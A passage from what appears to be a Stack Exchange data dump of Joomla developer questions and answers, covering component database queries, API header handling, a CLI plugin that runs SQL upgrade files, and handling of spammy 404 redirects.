$db-&amp;gt;loadResult();&#xA;        return $categoryId;&#xA;    }&#xA;&#xA;    protected function getPositionsForOfficials($categoryId)&#xA;    {&#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('id, title');&#xA;        $query-&amp;gt;from('#__footballmanager_positions');&#xA;        $query-&amp;gt;where('catid = ' . $categoryId);&#xA;        $query-&amp;gt;order('ordering ASC');&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $positions = $db-&amp;gt;loadObjectList();&#xA;&#xA;        return $positions;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm now testing on how to get rid of this empty xml file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit - Without empty xml:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;        // Prepare the form template&#xA;        $formname = 'subform.' . str_replace(['jform[', '[', ']'], ['', '.', ''], $this-&amp;gt;name);&#xA;//      $form     = Form::getInstance($formname, $this-&amp;gt;formsource, ['control' =&amp;gt; $control]); // not longer needed see next lines&#xA;        $form = Factory::getContainer()-&amp;gt;get(FormFactoryInterface::class)-&amp;gt;createForm($formname, ['control' =&amp;gt; $control]);&#xA;        $form-&amp;gt;load('&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&amp;lt;form&amp;gt; &amp;lt;/form&amp;gt;');&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="9407" LastEditDate="2024-01-11T15:04:24.480" LastActivityDate="2024-01-11T15:04:24.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33589" PostTypeId="2" ParentId="33570" CreationDate="2024-01-12T15:21:40.143" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;I discovered the answer to the {field 1} not showing field value problem when I did a Joomla upgrade and found that the content_fields plugin was missing. Using &amp;quot;Discover&amp;quot; and then enabling it brought the Joomla functionality to life, I'm happy to say. There is no special syntax, it is quite sufficient to include {field 1} in the middle of some text.&lt;/li&gt;&#xA;&lt;li&gt;Sourcerer seems to work OK, but I don't now need it for my solution.&lt;/li&gt;&#xA;&lt;li&gt;Robbie's suggestion of writing my own plugin seems like a good architectural solution though, with perhaps more control and flexibility than using custom fields.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I am in the process of implementing it and will then decide which solution to use in practice. The key determinant will be which solution best prevents unskilled users from messing up the automatically generated information when editing the articles.&lt;/p&gt;&#xA;" OwnerUserId="17562" LastActivityDate="2024-01-12T15:21:40.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33590" PostTypeId="1" CreationDate="2024-01-12T16:38:36.470" Score="0" ViewCount="59" Body="&lt;p&gt;So this issue has already been noticed here:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/39332&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/39332&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My component gets accessed via the API by a big company who is using the same access with hundreds of partners all over the world.&lt;/p&gt;&#xA;&lt;p&gt;What they do is sending only this as header:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cache-Control: no-cache&#xA;Content-Type: application/json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works with all partners but Joomlas route function is missing the HTTP_ACCEPT in the header and so &lt;code&gt;$mediaType&lt;/code&gt; is empty and throwing a:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Could not match accept header&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What can be done to have a successful API access without the partner having to send a accept header?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 16.01.2024&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also tried accepting different headers, but seams i cannot handle an missing accept header. This in the route creation of my webservice plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeApiRoute(&amp;amp;$router)&#xA;{&#xA;    $defaults    = [&#xA;        'component'  =&amp;gt; 'com_mycomp',&#xA;        'format' =&amp;gt; [&#xA;            'application/ld+json',&#xA;            'application/json',&#xA;        ],&#xA;    ];&#xA;    $getDefaults = array_merge(['public' =&amp;gt; false], $defaults);&#xA;&#xA;    // not working&#xA;    // $app = Factory::getApplication();&#xA;    // $app-&amp;gt;setHeader('Accept', '*/*');&#xA;&#xA;    $routes = [&#xA;        new Route(['GET'], 'v1/mycomp/time', 'mycomp.displayItem', [], array_merge(['endpoint' =&amp;gt; 'time'], $getDefaults)),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It is described here:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/39495&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/39495&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;getBest&lt;/code&gt; Function of the Negotiator requires a header:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!$header) {&#xA;   throw new InvalidArgument('The header string should not be empty.');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2024-01-18T13:40:58.393" LastActivityDate="2024-01-18T13:40:58.393" Title="API access without accept header" Tags="|joomla-api|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33591" PostTypeId="1" CreationDate="2024-01-12T23:48:01.217" Score="0" ViewCount="29" Body="&lt;p&gt;I have an odd problem. I have a Joomla 4 website whose back end won't load the CSS/JS. I've tried deleting my browser cache, rebooting, etc.&lt;/p&gt;&#xA;&lt;p&gt;I was doing some things in MAMP earlier today while working on a completely different website on a local server. Not sure if that has anything to do with it.&lt;/p&gt;&#xA;&lt;p&gt;Googling the problem brings up the double Gzip problem. I have all the Gzip code commented out on my .htaccess file. And anyway, this site has been working fine up until today, and I haven't messed with it recently.&lt;/p&gt;&#xA;&lt;p&gt;Any idea what I could have done to cause this? I'm working on a Mac with macOS 14.1.2, but the site with the broken back end is on a remote server.&lt;/p&gt;&#xA;" OwnerUserId="11861" LastEditorUserId="11861" LastEditDate="2024-01-13T00:07:09.600" LastActivityDate="2024-01-13T00:07:09.600" Title="Joomla back end is unstyled" Tags="|joomla-4.x|css|backend|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33592" PostTypeId="1" CreationDate="2024-01-13T13:39:29.623" Score="0" ViewCount="12" Body="&lt;p&gt;I'm fighting to get the following structure to work. I have three tables:&#xA;players, player_teams, teams&lt;/p&gt;&#xA;&lt;p&gt;I used the conclusion I've found here for one of my questions: &lt;a href=&quot;https://joomla.stackexchange.com/questions/33526/join-one-to-many-with-helper-table-jdatabase&quot;&gt;Join one to many with helper table JDatabase&lt;/a&gt;&#xA;But I've identified now an issue with this solution, when setting a &amp;quot;limit&amp;quot;. Because this solution results in multiple items returned when a player is listed in multiple teams.&lt;/p&gt;&#xA;&lt;p&gt;players_teams holds the player_id, the team_id aswell as some other information like from / till position and player number. So when a player plays on multiple positions for one team it is ok to have multiple entries in the player_teams table.&lt;/p&gt;&#xA;&lt;p&gt;So to solve this problem i have now tried to use a SubQuery:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Subquery all teams for a player and use them as array in the player object as &amp;quot;teams&amp;quot;&#xA;        $subQuery = $db-&amp;gt;getQuery(true);&#xA;        $subQuery-&amp;gt;select('t.title as team_title, t.id as team_id, pt.since as team_since, pt.until as team_until, t.ordering as team_ordering')&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__footballmanager_players_teams', 'pt'))&#xA;            -&amp;gt;join(&#xA;                'LEFT',&#xA;                $db-&amp;gt;quoteName('#__footballmanager_teams', 't') . ' ON ' . $db-&amp;gt;quoteName('t.id') . ' = ' . $db-&amp;gt;quoteName('pt.team_id')&#xA;            )&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('pt.player_id') . ' = ' . $db-&amp;gt;quoteName('a.id'));&#xA;        $query-&amp;gt;select('(' . $subQuery . ') as teams');&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But this results in an error 500 telling me that &lt;strong&gt;500 Operand should contain 1 column(s)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;How can i solve this issue? It's the first time I'm playing around with subqueries.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-02-12T16:04:50.580" Title="Subquery error when using 3rd Normal form - 500 Operand should contain 1 column(s)" Tags="|joomla-4.x|mysql|subquery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33593" PostTypeId="2" ParentId="33592" CreationDate="2024-01-13T15:27:48.007" Score="0" Body="&lt;p&gt;Okey took some time to recherche but have my solution now:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;if (is_numeric($filterTeamId))&#xA;        {&#xA;            // Select teamIds using a nested query&#xA;            $subQueryFilterTeam = $db-&amp;gt;getQuery(true);&#xA;            $subQueryFilterTeam-&amp;gt;select('GROUP_CONCAT(DISTINCT ' . $db-&amp;gt;quoteName('ptf.team_id') . ' ORDER BY ' . $db-&amp;gt;quoteName('ptf.ordering') . ' SEPARATOR &amp;quot;,&amp;quot;) AS teamIds')&#xA;                -&amp;gt;from($db-&amp;gt;quoteName('#__footballmanager_players_teams', 'ptf'))&#xA;                -&amp;gt;where($db-&amp;gt;quoteName('ptf.player_id') . ' = ' . $db-&amp;gt;quoteName('a.id'));&#xA;&#xA;            // filter for active Only&#xA;            $onlyActive = $this-&amp;gt;getState('filter.only_active');&#xA;            if ($onlyActive)&#xA;            {&#xA;                $subQueryFilterTeam-&amp;gt;where('(' . $db-&amp;gt;quoteName('ptf.since') . ' IS NULL OR ' . $db-&amp;gt;quoteName('ptf.since') . ' &amp;lt;= NOW())');&#xA;                $subQueryFilterTeam-&amp;gt;where('(' . $db-&amp;gt;quoteName('ptf.until') . ' IS NULL OR ' . $db-&amp;gt;quoteName('ptf.until') . ' &amp;gt;= NOW())');&#xA;            }&#xA;&#xA;            // Modify the main query to include the nested query in the WHERE clause&#xA;            $query-&amp;gt;where($db-&amp;gt;quote($filterTeamId) . ' IN (' . $subQueryFilterTeam . ')');&#xA;        }&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2024-01-13T15:27:48.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33594" PostTypeId="1" AcceptedAnswerId="33599" CreationDate="2024-01-15T06:27:01.227" Score="0" ViewCount="52" Body="&lt;p&gt;I have a method in a model and I need the array of state variables. In controller it's easy, simply get an $model object and get the array with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$state = $model-&amp;gt;getState();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But in a model all my test always get an error 0 or 503:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyModel extends ListModel&#xA;{&#xA;...&#xA;    public function setFiltrosActivos()&#xA;    {&#xA;        $state = $this-&amp;gt;getState();  // 503 error&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Please, how can I get the state variables in a method inside a model?&lt;/p&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2024-01-16T09:52:23.840" Title="Calling getState Model method in a custom model method" Tags="|model|joomla-5.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33595" PostTypeId="2" ParentId="31984" CreationDate="2024-01-15T12:04:13.157" Score="0" Body="&lt;p&gt;In Joomla 4, the setting can also be found under System -&amp;gt; Global Configuration -&amp;gt; Installer -&amp;gt; Updates Caching. The most you can set it to is 24 hours.&lt;/p&gt;&#xA;" OwnerUserId="6974" LastActivityDate="2024-01-15T12:04:13.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33597" PostTypeId="1" CreationDate="2024-01-16T04:04:38.587" Score="1" ViewCount="98" Body="&lt;p&gt;I'm looking for a way to run the DB &amp;quot;Fix&amp;quot; action that was present in J3 from the Manage Extensions Database menu item.&lt;/p&gt;&#xA;&lt;p&gt;Longer explanation --&#xA;I am trying to deploy upgrades from my dev environment to production using git. After deploying the code updates via git, I can't get into the Joomla admin backend because tables are missing related to the upgrade. I need a way to trigger the DB upgrade from CLI, or if there's some magic URL that will work.&lt;/p&gt;&#xA;&lt;p&gt;The CLI commands for core:check-updates and core:update don't do anything because it already recognizes the J4 code that is in place.&lt;/p&gt;&#xA;" OwnerUserId="2316" LastActivityDate="2024-01-17T22:29:51.257" Title="can I fix (update) the database from the CLI? (J4)" Tags="|upgrade|cli|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33598" PostTypeId="2" ParentId="33597" CreationDate="2024-01-16T04:52:53.153" Score="1" Body="&lt;p&gt;The Update Structure button on the Maintenance:Database&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kJL59.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJL59.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;appears to execute the &lt;code&gt;fix()&lt;/code&gt; method at line #40 of this file &lt;code&gt;..\administrator\components\com_installer\src\Controller\DatabaseController.php&lt;/code&gt; which in turn uses the &lt;code&gt;fix()&lt;/code&gt; method of the model at &lt;code&gt;..\administrator\components\com_installer\src\Model\DatabaseModel.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could create your own console plugin with some basic code to identify the Joomla instance for the &lt;code&gt;cid&lt;/code&gt; and then it should follow the normal core processing for checking the database as part of installation of updates.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you could set up a command line instance of Joomla to trigger the core processing. This post explains how to set up the required environment and you will need add the code to start the core processing.&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/33140/how-to-create-an-instance-of-the-joomla-cms-from-the-browser-or-the-command-line&quot;&gt;How to create an instance of the Joomla CMS from the browser or the command line&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-01-16T04:52:53.153" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="33599" PostTypeId="2" ParentId="33594" CreationDate="2024-01-16T09:52:23.840" Score="0" Body="&lt;p&gt;Finally I chose to move the entire method from the model to a helper and perform the logic there. Now it's working fine. Thank you.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model  = Factory::getApplication()-&amp;gt;bootComponent('com_mycomponent')-&amp;gt;getMVCFactory()-&amp;gt;createModel('mymodel', 'Site');&#xA;$state = $model-&amp;gt;getState();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16614" LastActivityDate="2024-01-16T09:52:23.840" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33600" PostTypeId="2" ParentId="32368" CreationDate="2024-01-16T16:22:59.803" Score="1" Body="&lt;p&gt;I've started using &lt;a href=&quot;http://devilbox.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Devilbox&lt;/a&gt; since Aug 2022, it is a &amp;quot;Docker LAMP and MEAN  development stack with valid https support&amp;quot;.&#xA;Although it was a little bit difficult to setup for the first time, but it turns out to be very efficient, flexible and a complete solution for me.&#xA;In my work I need to switch between dev websites ranging from J2.5 to J5 and this requires different PHP and database versions as you may know.&#xA;Devilbox made it seamless to do this switching quickly.&#xA;XDebug V3 is already installed and it is easy to enable and configure.&lt;/p&gt;&#xA;&lt;p&gt;I have created this video to explain how to setup it: &lt;a href=&quot;https://youtu.be/Q0qyED-ftp0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Devilbox: Installation and Usage Step By Step Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2024-01-16T16:22:59.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33601" PostTypeId="2" ParentId="33597" CreationDate="2024-01-17T22:29:51.257" Score="0" Body="&lt;p&gt;If I understand you correctly, I think you're looking for a way of processing a file which contains Joomla SQL commands. If that's the case then you can write a console job to do that.&lt;/p&gt;&#xA;&lt;p&gt;Here's a plugin which will do that in a basic way - it doesn't contain database transaction control though, which you might want. It's based on &lt;a href=&quot;https://docs.joomla.org/J4.x:Writing_A_CLI_Application&quot; rel=&quot;nofollow noreferrer&quot;&gt;Writing_A_CLI_Application&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Into a folder plg_dbupgrade_cli put the following files:&lt;/p&gt;&#xA;&lt;p&gt;Manifest file: plg_dbupgrade_cli/dbupgrade_cli.xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;extension type=&amp;quot;plugin&amp;quot; group=&amp;quot;console&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;Execute SQL file console command&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;today&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Mycompany&amp;lt;/author&amp;gt;&#xA;    &amp;lt;description&amp;gt;Executes a file of SQL commands (eg for an upgrade)&amp;lt;/description&amp;gt;&#xA;    &amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Mycompany\Plugin\Console\Dbupgrade&amp;lt;/namespace&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;folder plugin=&amp;quot;dbupgrade_cli&amp;quot;&amp;gt;services&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;src&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;plg_dbupgrade_cli/services/provider.php (just boilerplate code to get an instance of the plugin via the dependency injection container).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Extension\PluginInterface;&#xA;use Joomla\CMS\Plugin\PluginHelper;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;use Joomla\Event\DispatcherInterface;&#xA;use Mycompany\Plugin\Console\Dbupgrade\Extension\DbupgradeConsolePlugin;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    /**&#xA;     * Registers the service provider with a DI container.&#xA;     *&#xA;     * @param   Container  $container  The DI container.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   4.2.0&#xA;     */&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(&#xA;            PluginInterface::class,&#xA;            function (Container $container) {&#xA;                $dispatcher = $container-&amp;gt;get(DispatcherInterface::class);&#xA;                $plugin     = new DbupgradeConsolePlugin(&#xA;                    $dispatcher,&#xA;                    (array) PluginHelper::getPlugin('console', 'dbupgrade_cli')&#xA;                );&#xA;&#xA;                return $plugin;&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;plg_dbupgrade_cli/src/Extension/DbupgradeConsolePlugin.php (standard code for creating a console command)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Mycompany\Plugin\Console\Dbupgrade\Extension;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Event\SubscriberInterface;&#xA;use Joomla\Application\ApplicationEvents;&#xA;use Joomla\CMS\Factory;&#xA;use Mycompany\Plugin\Console\Dbupgrade\CliCommand\RunDbupgradeCommand;&#xA;&#xA;class DbupgradeConsolePlugin extends CMSPlugin implements SubscriberInterface&#xA;{&#xA;    protected $autoloadLanguage = true;&#xA;    &#xA;    public static function getSubscribedEvents(): array&#xA;    {&#xA;        return [&#xA;            \Joomla\Application\ApplicationEvents::BEFORE_EXECUTE =&amp;gt; 'registerCommands',&#xA;        ];&#xA;    }&#xA;&#xA;    public function registerCommands(): void&#xA;    {&#xA;        $app = Factory::getApplication();&#xA;        $app-&amp;gt;addCommand(new RunDbupgradeCommand());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;plg_dbupgrade_cli/src/CliCommand/RunDbupgradeCommand.php (based on Installer::parseSQLFiles code in libraries/src/Installer/Installer.php)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace Mycompany\Plugin\Console\Dbupgrade\CliCommand;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\Database\DatabaseInterface;&#xA;use Symfony\Component\Console\Input\InputInterface;&#xA;use Symfony\Component\Console\Output\OutputInterface;&#xA;use Symfony\Component\Console\Style\SymfonyStyle;&#xA;use Symfony\Component\Console\Input\InputOption;&#xA;use Joomla\Console\Command\AbstractCommand;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Installer\Installer;&#xA;&#xA;class RunDbupgradeCommand extends AbstractCommand&#xA;{&#xA;    /**&#xA;     * The default command name&#xA;     *&#xA;     * @var    string&#xA;     * @since  4.0.0&#xA;     */&#xA;    protected static $defaultName = 'sql:execute-file';&#xA;&#xA;    /**&#xA;     * Internal function to execute the command.&#xA;     *&#xA;     * @param   InputInterface   $input   The input to inject into the command.&#xA;     * @param   OutputInterface  $output  The output to inject into the command.&#xA;     *&#xA;     * @return  integer  The command exit code&#xA;     *&#xA;     * @since   4.0.0&#xA;     */&#xA;    protected function doExecute(InputInterface $input, OutputInterface $output): int&#xA;    {&#xA;        $symfonyStyle = new SymfonyStyle($input, $output);&#xA;&#xA;        $symfonyStyle-&amp;gt;title('Run a SQL file');&#xA;        &#xA;        $sqlfile = $input-&amp;gt;getOption('sqlfile', 'Please enter a file of joomla sql commands');&#xA;        if (!file_exists($sqlfile)) {&#xA;            $symfonyStyle-&amp;gt;error(&amp;quot;{$sqlfile} does not exist&amp;quot;);&#xA;            return false;&#xA;        }&#xA;        &#xA;        $buffer = file_get_contents($sqlfile);&#xA;        if ($buffer === false) {&#xA;            $symfonyStyle-&amp;gt;error(&amp;quot;Could not read contents of {$sqlfile}&amp;quot;);&#xA;            return false;&#xA;        }&#xA;        &#xA;        $installer = Installer::getInstance();&#xA;        $queries = $installer::splitSql($buffer);&#xA;        if (\count($queries) === 0) {&#xA;            $symfonyStyle-&amp;gt;error(&amp;quot;No SQL queries found in {$sqlfile}&amp;quot;);&#xA;            return false;&#xA;        }&#xA;        $symfonyStyle-&amp;gt;info(\count($queries) . &amp;quot; SQL queries found in {$sqlfile}&amp;quot;);&#xA;        &#xA;        $db = Factory::getContainer()-&amp;gt;get(DatabaseInterface::class);&#xA;        foreach ($queries as $query) {&#xA;&#xA;            try {&#xA;                $symfonyStyle-&amp;gt;info(&amp;quot;Executing: \n{$query}&amp;quot;);&#xA;                $db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;                $symfonyStyle-&amp;gt;success(Text::_('Success'));&#xA;            } catch (ExecutionFailureException $e) {&#xA;                $symfonyStyle-&amp;gt;warning($e-&amp;gt;getMessage());&#xA;                return false;&#xA;            }&#xA;        }&#xA;&#xA;        return 0;&#xA;    }&#xA;&#xA;    /**&#xA;     * Configure the command.&#xA;     *&#xA;     * @return  void&#xA;     *&#xA;     * @since   4.0.0&#xA;     */&#xA;    protected function configure(): void&#xA;    {&#xA;        $this-&amp;gt;addOption('sqlfile', null, InputOption::VALUE_OPTIONAL, 'file of joomla sql commands', &amp;quot;&amp;quot;);&#xA;        $this-&amp;gt;setDescription('Run a list of SQL commands in a file');&#xA;        $this-&amp;gt;setHelp(&#xA;            &amp;lt;&amp;lt;&amp;lt;EOF&#xA;The &amp;lt;info&amp;gt;%command.name%&amp;lt;/info&amp;gt; command runs the SQL commands in the file passed as the --sqlfile argument&#xA;&amp;lt;info&amp;gt;php %command.full_name%&amp;lt;/info&amp;gt;&#xA;EOF&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When you install and enable the plugin you should then be able to do a CLI command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php cli/joomla.php sql:execute-file --sqlfile=test.sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think the update files might be in administrator/components/com_admin/sql.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2024-01-17T22:29:51.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33602" PostTypeId="1" CreationDate="2024-01-18T12:52:46.803" Score="1" ViewCount="22" Body="&lt;p&gt;The redirects manager picks up a tonne of 404 errors.&lt;/p&gt;&#xA;&lt;p&gt;Most of them are spammy, I would guess, attempts to find out what system I'm using and hack it.  Thus, I don't really want to redirect those people to a working page they might try to hack.&lt;/p&gt;&#xA;&lt;p&gt;But is there any other value for example to redirect them all to the homepage?  It avoids a 404 which might be seen as better by Google for example, so helpful for SEO.  Or would there be a negative, i.e. I'm giving them a page they might try to hack where a 404 page has hardly anything on it so harder to hack (no forms component for example).&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2024-01-19T10:29:59.527" Title="Should I redirect all the spammy 404s?" Tags="|redirect|seo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33603" PostTypeId="2" ParentId="33602" CreationDate="2024-01-19T10:29:59.527" Score="1" Body="&lt;p&gt;I would think that having a basic 404 Page with enough to look presentable to genuine visitors and as you say little chance to hack would be good for Google and genuine broken links and visitors.&lt;/p&gt;&#xA;&lt;p&gt;I wouldn't think Google is putting too much value on individuals who would end up on the 404 page from a typing in a link, the spammy visitors, unless perhaps you are running GA.&lt;/p&gt;&#xA;&lt;p&gt;For the really common and obviously hacking links with plenty of attempts, e.g. WP-admin, I would add something into Redirect, .htaccess or a firewall extension to either stop the majority with no response or to a page that takes 30-45 seconds to load.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2024-01-19T10:29:59.527" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33604" PostTypeId="1" CreationDate="2024-01-19T19:48:09.237" Score="1" ViewCount="55" Body="&lt;p&gt;I have a component &lt;code&gt;com_something&lt;/code&gt; that I am developing. Whenever a user goes to any view in this component (i.e. when the URL starts with &lt;code&gt;index.php?option=com_something&lt;/code&gt;), I want to check the URL for a parameter &lt;code&gt;trackingToken=2&lt;/code&gt;. If it exists, I log something into the database.&lt;/p&gt;&#xA;&lt;p&gt;Does Joomla have a URL middleware hook that I can use (like below)?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function handleUrl(string $url): void&#xA;{&#xA;    $app = $this-&amp;gt;getApplication();&#xA;    $db = $this-&amp;gt;getDatabase();&#xA;    $trackingToken = $app-&amp;gt;input-&amp;gt;getString('trackingToken', null);&#xA;    if (!is_null($trackingToken)) {&#xA;        trackToken($db, $trackingToken);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or do I have to make sure that every &lt;code&gt;HtmlView.php&lt;/code&gt; also extends some base &lt;code&gt;HtmlView&lt;/code&gt; that does this?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;abstract class MiddlewareHtmlView extends \Joomla\CMS\MVC\View\HtmlView&#xA;{&#xA;    public function display($tpl = null): void&#xA;    {&#xA;        $app = \Joomla\CMS\Factory::getApplication();&#xA;        $db = \Joomla\CMS\Factory::getDbo();&#xA;        $trackingToken = $app-&amp;gt;input-&amp;gt;getString('trackingToken', null);&#xA;        if (!is_null($trackingToken)) {&#xA;            trackToken($db, $trackingToken);&#xA;        }&#xA;&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&#xA;final class HtmlView extends MiddlewareHtmlView&#xA;{&#xA;    public function display($tpl = null): void&#xA;    {&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16163" LastActivityDate="2024-01-22T07:43:14.847" Title="Component middleware for handling URLs" Tags="|joomla-4.x|joomla-api|url|middleware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
